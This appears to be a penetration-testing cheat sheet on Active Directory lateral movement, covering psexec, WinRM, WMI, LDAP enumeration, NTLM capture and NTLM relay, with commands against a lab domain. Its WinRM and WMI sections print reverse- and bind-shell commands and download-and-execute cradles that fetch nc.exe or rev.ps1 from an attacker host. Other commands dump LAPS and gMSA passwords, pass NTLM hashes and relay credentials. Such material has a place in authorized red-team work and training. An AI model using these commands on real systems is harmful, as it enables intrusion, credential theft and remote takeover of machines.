* [https://www.contextis.com/us/blog/lateral-movement-a-deep-look-into-psexec](https://web.archive.org/web/20220517171437/https://www.contextis.com/us/blog/lateral-movement-a-deep-look-into-psexec)
* <https://blog.openthreatresearch.com/ntobjectmanager_rpc_smb_scm>
* <https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/>
* <https://github.com/sensepost/susinternals/blob/main/psexecsvc.py>
* <https://github.com/MaorSabag/impacket-jump>

#### psexec.py

```
$ psexec.py snovvcrash:'Passw0rd!'@192.168.11.1
$ rlwrap -cAr psexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 megacorp.local/snovvcrash@192.168.11.1 powershell
```


# SPN-jacking


# WinRM / PSRemoting

Windows Remote Management / PowerShell Remoting

* <https://www.bloggingforlogging.com/2018/01/24/demystifying-winrm/>
* <https://www.powershellmagazine.com/2014/03/06/accidental-sabotage-beware-of-credssp/>
* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/network-vs-interactive-logons>
* <https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm>

## Enable WinRM

Using PowerShell (takes \~1m to be applied):

```
PS > Enable-PSRemoting -Force
PS > Set-Item wsman:\localhost\client\trustedhosts * -Force
```

Remotely with CME:

```
$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' -x 'powershell -enc RQBuAGEAYgBsAGUALQBQAFMAUgBlAG0AbwB0AGkAbgBnACAALQBGAG8AcgBjAGUAOwBTAGUAdAAtAEkAdABlAG0AIAB3AHMAbQBhAG4AOgBcAGwAbwBjAGEAbABoAG8AcwB0AFwAYwBsAGkAZQBuAHQAXAB0AHIAdQBzAHQAZQBkAGgAbwBzAHQAcwAgACoACgA=' --no-output
```

## From Windows

* <https://0xdf.gitlab.io/2019/08/17/htb-helpline-win.html#enable-winrm>

```
PS > winrm get winrm/config
PS > winrm set winrm/config/client '@{TrustedHosts="*"}'
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred
PS > Enter-PSSession -Session $sess
PS > Copy-Item .\file.txt -Destination "C:\users\administrator\music\" -ToSession $sess
```

## From Linux

### Evil-WinRM

* <https://github.com/Hackplayers/evil-winrm>
* <https://github.com/adityatelange/evil-winrm-py>

Basic syntax:

```
$ evil-winrm -u '[MEGACORP\]snovvcrash' -p 'Passw0rd!' -i 10.10.13.37 -s `pwd` -e `pwd`
$ evil-winrm -u '[MEGACORP\]snovvcrash' -H fc525c9683e8fe067095ba2ddc971889 -i 10.10.13.37 -s `pwd` -e `pwd`
```

{% hint style="info" %}
Always use full username when authenticating as a domain user, because if there're 2 users sharing the same name (a local user and a domain user), say `WORKGROUP\Administrator` and `MEGACORP\Administrator`, and you're trying to authenticate as a domain admin without providing the domain prefix, authentication will fail.
{% endhint %}

Execute a .NET binary:

```
*Evil-WinRM* PS > Invoke-Binary Rubeus.exe "asktgt, /domain:megacorp.local, /user:snovvcrash, /rc4:fc525c9683e8fe067095ba2ddc971889, /nowrap"
```

Spawn interactive bind shell with [powercat.ps1](https://github.com/besimorhino/powercat/blob/master/powercat.ps1) and [Invoke-PSInject.ps1](https://github.com/EmpireProject/PSInject/blob/master/Invoke-PSInject.ps1):

```
$ sed -i s/powercat/pwcat/g pwcat.ps1
$ echo 'powercat -l -p 1337 -e cmd.exe' >> pwcat.ps1
$ echo 'IEX(New-Object Net.WebClient).DownloadString(''http://10.10.13.37/pwcat.ps1'')' | iconv -t UTF-16LE | base64 -w0
*Evil-WinRM* PS > Get-Process
*Evil-WinRM* PS > Invoke-PSInject.ps1
*Evil-WinRM* PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>
$ rlwrap nc 192.168.1.11 1337
```

Install Python version:

```
$ pip install evil-winrm-py 'evil-winrm-py[kerberos]'
```

### pwsh

```
$ pwsh
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred -Authentication Negotiate
PS > Enter-PSSession -Session $sess
```


# WMI

Windows Management Instrumentation

* <https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/>
* <https://hideandsec.sh/books/cheatsheets-82c/page/wmi>

Perform ICMP checks remotely using `Win32_PingStatus` and [wmiquery.py](https://github.com/fortra/impacket/blob/master/examples/wmiquery.py):

```
$ cat ping.wmi
SELECT StatusCode, ResponseTime FROM Win32_PingStatus WHERE Address='1.1'
$ wmiquery.py -k -no-pass SRV01.megacorp.local -file ping.wmi | grep '^ |' -A1
```

## PowerShell

Basic command to check if we have privileges to execute WMI:

```
PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace" | Select Name
```

Execute commands:

```
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -ArgumentList ("powershell (New-Object Net.WebClient).DownloadFile('http://10.10.13.37/nc.exe', 'C:\Users\bob\music\nc.exe')")
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -ArgumentList ("C:\Users\bob\music\nc.exe 10.10.13.37 1337 -e powershell")
```

### WMI Enumeration

* <https://0xinfection.github.io/posts/wmi-basics-part-1/>
* <https://0xinfection.github.io/posts/wmi-classes-methods-part-2/>
* <https://0xinfection.github.io/posts/wmi-registry-part-3/>
* <https://0xinfection.github.io/posts/wmi-recon-enum/>

{% code title="Invoke-LocalWMIEnum.ps1" %}

```powershell
Get-WmiObject -Class Win32_ComputerSystem | select BootupState,UserName,TotalPhysicalMemory,SystemType,SystemFamily,Domain,DNSHostName,OEMStringArray | ft -AutoSize
Get-WmiObject -Class Win32_OperatingSystem | fl *
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | select PSComputerName,DisplayName,PathToSignedProductExe,PathToSignedReportingExe,ProductState,Timestamp | ft -AutoSize
Get-WmiObject Win32_Service | select Name,State,StartName,PathName | ? {$_.State -like "Running"} | findstr /vi "C:\Windows" | ft -AutoSize
Get-WmiObject -Class Win32_LoggedOnUser | select Antecedent,Dependent,PSComputerName | ft -AutoSize
Get-WmiObject -Class Win32_LogonSession | select AuthenticationPackage,LogonID,StartTime,Scope | ft -AutoSize
Get-WmiObject -Class Win32_QuickFixEngineering | select PSComputerName,Description,HotFixID,InstalledBy,InstalledOn | ft -AutoSize
Get-WmiObject -Class Win32_Share | select Type,Name,AllowMaximum,Description,Scope | ft -AutoSize
Get-WmiObject -Class Win32_IP4RouteTable | select PSComputerName,Caption,Mask,Metric1,Protocol | ft -AutoSize
Get-WmiObject -Class Win32_UserAccount | ft -AutoSize
Get-WmiObject -Class Win32_Group | ft -AutoSize
```

{% endcode %}

## MSFT\_MTProcess

* <https://specterops.io/blog/2025/09/18/more-fun-with-wmi/>
* <https://github.com/0xthirteen/WMI_Proc_Dump>
* <https://github.com/0xthirteen/mtprocess>

## Tools

### wmiexec.py

* <https://github.com/XiaoliChan/wmiexec-RegOut>
* <https://github.com/XiaoliChan/wmiexec-Pro>
* <https://github.com/WKL-Sec/WMIExec>

```
$ wmiexec.py -codec cp866 snovvcrash:'Passw0rd!'@192.168.1.11
$ wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 snovvcrash@192.168.1.11
```

Get a PowerShell reverse-shell:

```
$ sudo python3 -m http.server 80
$ sudo rlwrap nc -lvnp 443
$ wmiexec.py -silentcommand -nooutput snovvcrash:'Passw0rd!'@192.168.1.11 'powershell iEx (iWr "http://10.10.13.37/rev.ps1")'
```

When loading the cradle from a semi-interactive shell, you can combine with `Invoke-WmiMethod` to spawn a new PowerShell process:

```bash
wmiexec.py -silentcommand -nooutput snovvcrash:'Passw0rd!'@192.168.1.11 "powershell -enc $(echo -n 'Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc '`echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/rev.ps1")' | iconv -t UTF-16LE | base64 -w0`'")' | iconv -t UTF-16LE | base64 -w0)"
```

### SharpWMI

* <https://github.com/GhostPack/SharpWMI>

```
PS > .\SharpWMI.exe action=exec [username=MEGACORP\snovvcrash] [passw0rd=Passw0rd!] computername=PC01 command="powershell -enc <BASE64_CMD>"
```


# LDAP

Lightweight Directory Access Protocol

* <http://jxplorer.org/>
* <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772839(v=ws.10)?redirectedfrom=MSDN>
* <http://www.kouti.com/tables/userattributes.htm>
* <https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html>
* <https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/>

![LDAP Authentication Protocols (Almond)](/files/nb9eQDDpLq1WwoaDBhdB)

Check if LDAPS was ever correctly configured:

```
$ openssl s_client -host 192.168.1.11 -port 636
```

## Theory

Some [Extensible Match](https://ldapwiki.com/wiki/ExtensibleMatch) Matching Rules:

| Rule Name                                                                                | OID                       | Description                                                                                                      |
| ---------------------------------------------------------------------------------------- | ------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| [LDAP\_MATCHING\_RULE\_BIT\_AND](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_BIT_AND)   | `1.2.840.113556.1.4.803`  | True if all bits from the attribute match the value (bitwise AND).                                               |
| [LDAP\_MATCHING\_RULE\_BIT\_OR](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_BIT_OR)     | `1.2.840.113556.1.4.804`  | True if any bits from the attribute match the value (bitwise OR).                                                |
| [LDAP\_MATCHING\_RULE\_IN\_CHAIN](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_IN_CHAIN) | `1.2.840.113556.1.4.1941` | Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN. |

## UserAccountControl

* <https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/>

### Decode UAC Values

* <http://woshub.com/decoding-ad-useraccountcontrol-value/>

{% code title="DecodeUserAccountControl.ps1" %}

```powershell
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
	$UACPropertyFlags = @(
		"SCRIPT",
		"ACCOUNTDISABLE",
		"RESERVED",
		"HOMEDIR_REQUIRED",
		"LOCKOUT",
		"PASSWD_NOTREQD",
		"PASSWD_CANT_CHANGE",
		"ENCRYPTED_TEXT_PWD_ALLOWED",
		"TEMP_DUPLICATE_ACCOUNT",
		"NORMAL_ACCOUNT",
		"RESERVED",
		"INTERDOMAIN_TRUST_ACCOUNT",
		"WORKSTATION_TRUST_ACCOUNT",
		"SERVER_TRUST_ACCOUNT",
		"RESERVED",
		"RESERVED",
		"DONT_EXPIRE_PASSWORD",
		"MNS_LOGON_ACCOUNT",
		"SMARTCARD_REQUIRED",
		"TRUSTED_FOR_DELEGATION",
		"NOT_DELEGATED",
		"USE_DES_KEY_ONLY",
		"DONT_REQ_PREAUTH",
		"PASSWORD_EXPIRED",
		"TRUSTED_TO_AUTH_FOR_DELEGATION",
		"RESERVED",
		"PARTIAL_SECRETS_ACCOUNT"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
	)
	$Attributes = ""
	1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
	Return $Attributes
}
```

{% endcode %}

## Object-Guids

Convert MS LDAP [objectGUID](https://learn.microsoft.com/ru-ru/windows/win32/adschema/a-objectguid) to bytes:

```python
import uuid
import struct

def uuid_to_ms_guid_bytes(uuid_string):
    u = uuid.UUID(uuid_string)

    # MS GUIDs use mixed endianness:
    #  first 3 components are little-endian
    #  last 2 components are big-endian
    return struct.pack('<IHH', u.time_low, u.time_mid, u.time_hi_version) + \
		struct.pack('>Q', u.node | (u.clock_seq << 48))[-8:]
```

## Mitigations

* <https://github.com/zyn3rgy/LdapRelayScan>
* <https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/>
* <https://github.com/zyn3rgy/RelayInformer>

Scan for LDAP Singing and LDAPS Channel Binding:

```
$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done
```

### LDAP Signing & LDAPS Channel Binding

* <https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html>

| Property Name                                                                                                                                                                   | Property Path                                             |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| [LdapServerIntegrity](https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a)       | `HKLM\System\CurrentControlSet\Services\NTDS\Parameters\` |
| [LdapEnforceChannelBinding](https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a) | `HKLM\System\CurrentControlSet\Services\NTDS\Parameters\` |

If `LdapServerIntegrity` is set to `2`, LDAP Signing is required:

```
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity
```

If `LdapEnforceChannelBinding` is set to `2`, LDAPS Channel Binding is **always** required:

```
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding
```

## Tools

### RSAT-AD-PowerShell

Install via Capabilities (Windows clients):

```
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
```

Or via Features (Windows servers):

```
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
```

Install via ADModule:

* <https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1>
* <https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1>

```
PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)
```

#### Example Queries

List disabled users (when searching for users [use](http://www.frickelsoft.net/blog/?p=147) `objectCategory` + `objectClass` filters):

```
PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
```

Count users, groups and computers:

```
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
```

List users with `DoesNotRequirePreAuth` set (aka [asreproastable](/pentest/infrastructure/ad/kerberos/roasting#asreproasting)):

```
PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
```

List accounts with SPN(s) set (aka [kerberoastable](/pentest/infrastructure/ad/kerberos/roasting#kerberoasting)) and which are also in Protected Users group:

```
PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl
```

List all groups that **j.doe** is a member of:

```
PS > Get-ADPrincipalGroupMembership j.doe | select name
```

List all groups (including nested groups) that **j.doe** is a member of:

```
PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name
```

List members of IT Support group through nested group membership:

```
PS > Get-ADGroupMember "IT Support" -Recursive
```

List users marked as trusted for delegation (`TRUSTED_FOR_DELEGATION` UAC value is `524288`):

```
PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
```

Find the number of users in the Helpdesk OU:

```
PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count
```

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):

```
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
```

Find users with description field filled ([one-liner](https://gist.github.com/dafthack/5f8c36f7468fad991e9e1f6d81ec29d4)):

```
PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
```

Find users with a null password (`PASSWD_NOTREQD` UAC value is `32`):

```
PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
```

Create a new domain user account:

```
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
```

List deleted AD objects (AD [recycle](https://activedirectorypro.com/enable-active-directory-recycle-bin-server-2016/) [bin](https://blog.stealthbits.com/active-directory-object-recovery-recycle-bin/)):

```
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap
```

### ldap3 (Python)

Check if anonymous bind is allowed:

```python
>>> from ldap3 import Server, Connection, ALL
>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> s.info
```

### ldap-utils

#### ldapsearch

* <https://malicious.link/post/2022/ldapsearch-reference/>

Install:

```
$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y
```

Basic syntax:

```
$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]
```

Get base naming contexts:

```
$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts
```

Extract data for the whole domain catalog and then grep your way through:

```
$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof
```

Or filter out only what you need:

```
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType
```

Get `Remote Management Users` group:

```
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof
```

Dump LAPS passwords:

```
$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
```

Simple authentication with a plaintext password:

```
$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
```

SASL GSSAPI (Kerberos) authentication (there should be both `A` and `PTR` DNS records of the DC for this to work):

```
$ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
```

Analyze large output for anomalies by searching for unique strings:

```
$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr
```

#### ldapmodify

An example of removing SPNs and changing `dNSHostName` (see [dNSHostName Spoofing (Certifried)](/pentest/infrastructure/ad/ad-cs-abuse/dnshostname-spoofing-certifried)):

```
$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
```

{% code title="spoof.ldiff" %}

```diff
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local
```

{% endcode %}

### windapsearch

* <https://github.com/ropnop/windapsearch>
* <https://github.com/snovvcrash/windapsearch>

Enumerate domain function functional level with LDAP anonymous bind:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality
```

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation
```

Find what OU is the user John Doe part of:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe
```

Query LDAP for all domain computer accounts (+ try to resolve their IPs with `-r` flag) and save results into a csv file:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv
```

### go-windapsearch

* <https://github.com/ropnop/go-windapsearch>

Find user accounts which require smart card authentication (`SMARTCARD_REQUIRED` UAC value is `262144`):

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn
```

Get password history size in the domain:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength
```

Search for service accounts configured for constrained delegation:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword
```

Dump all users info:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt
```

### ldapsearch-ad

* <https://github.com/yaap7/ldapsearch-ad>

Enumerate password policy in the domain:

```
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols
```

Run all checks:

```
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all
```

### gMSADumper

* <https://github.com/micahvandeusen/gMSADumper>

```
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889
```

### ldeep

* <https://github.com/franc-pentest/ldeep>

Enumerate ACEs of the `AdminSDHolder` object:

```
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'
```

Convert SID to name:

```
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>
```

### Nmap NSE

```
$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389
```

### LDAPmonitor

* <https://github.com/p0dalirius/LDAPmonitor>

```
$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11
```

#### ADSpider

* <https://habr.com/ru/companies/angarasecurity/articles/697938/>
* <https://github.com/DrunkF0x/ADSpider>

### SilentHound

* <https://github.com/snovvcrash/SilentHound>

```
$ python3 silenthound.py -u snovvcrash@megacorp.local -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp
```


# NTLM

NT / LM Hashes

* <https://blog.redforce.io/windows-authentication-and-attacks-part-1-ntlm/>

## Calculate NTLM

* <https://www.browserling.com/tools/ntlm-hash>

With Python:

```python
>>> import hashlib
>>> hashlib.new('md4', 'Passw0rd!'.encode('utf-16le')).hexdigest()
```

With [Pypykatz](https://github.com/skelsec/pypykatz):

```
$ pypykatz crypto nt 'Passw0rd!'
```

## Responder Capture Structure

* <https://github.com/lgandx/Responder/blob/eb449bb061a8eb3944b96b157de73dea444ec46b/servers/SMB.py#L149>
* <https://ru.wikipedia.org/wiki/NTLMv2#NTLMv2>
* <https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/>
* Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.

`[SMB] NTLMv1 Hash` and `[SMB] NTLMv1-SSP Hash` capture structure:

```
<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>
```

`[SMB] NTLMv2-SSP Hash` capture structure:

```
<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>
```

## Capture NTLM on Windows

* <https://reqrypt.org/windivert.html>
* <https://github.com/basil00/Divert>
* <https://googleprojectzero.blogspot.com/2021/08/understanding-network-access-windows-app.html>

### DivertTCPconn

* <https://github.com/Arno0x/DivertTCPconn>

Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port (meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:

```
$ sudo ./Responder.py -I eth0 -Av
meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > execute -f divertTCPconn.exe -a "445 8445"
```

### StreamDivert

* <https://github.com/jellever/StreamDivert>

Divert all inbound TCP connections to port 445 (SMB) coming from 192.168.1.11 to 10.10.13.37 port 445:

```
Cmd > powershell -c "Add-Content conf.txt 'tcp < 445 192.168.1.11 -> 10.10.13.37 445'"
Cmd > .\StreamDivert.exe .\conf.txt -f -v
```


# NTLM Relay

* <https://en.hackndo.com/ntlm-relay/>
* <https://blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/>
* <https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>
* <https://www.secureauth.com/blog/playing-with-relayed-credentials/>
* <https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/>
* <https://intrinium.com/smb-relay-attack-tutorial/>
* <https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/>
* <https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>
* <https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire>
* <https://www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-for-fun-and-profit/>
* <https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/>
* <https://luemmelsec.github.io/Relaying-101/>
* <https://www.thehacker.recipes/active-directory-domain-services/movement/lm-and-ntlm/relay>
* <https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>
* <https://www.fortalicesolutions.com/posts/keeping-up-with-the-ntlm-relay>
* <https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html>
* <https://labs.nettitude.com/blog/network-relaying-abuse-windows-domain/>
* <https://xakep.ru/2023/04/07/ntlm-relay-guide/>
* <https://xakep.ru/2023/04/11/ntlm-relay-guide-2/>
* [\[PDF\] Coercions and Relays – The First Cred is the Deepest (Gabriel Prudhomme)](https://www.blackhillsinfosec.com/wp-content/uploads/2022/09/Coercions-and-Relays-The-First-Cred-is-the-Deepest.pdf)

{% embed url="<https://youtu.be/b0lLxLJKaRs>" %}

{% file src="/files/AJWHEZuwzA1ARbnYpDym" %}

Generate relay list with CME and enumerate local admins when relaying:

```
$ cme smb 192.168.2.0/24 --gen-relay-list relay.txt
$ ntlmrelayx.py -tf relay.txt -smb2support --enum-local-admins -of net-ntlmv2 --no-http-server --no-wcf-server --no-raw-server
```

Relay & catch hashes (via [multi-relay](https://www.thehacker.recipes/ad/movement/ntlm/relay#tips-and-tricks)):

```
$ smbserver.py -smb2support -port 8445 share `pwd`
$ ntlmrelayx.py -tf targets.txt -smb2support --no-http-server --no-wcf-server --no-raw-server
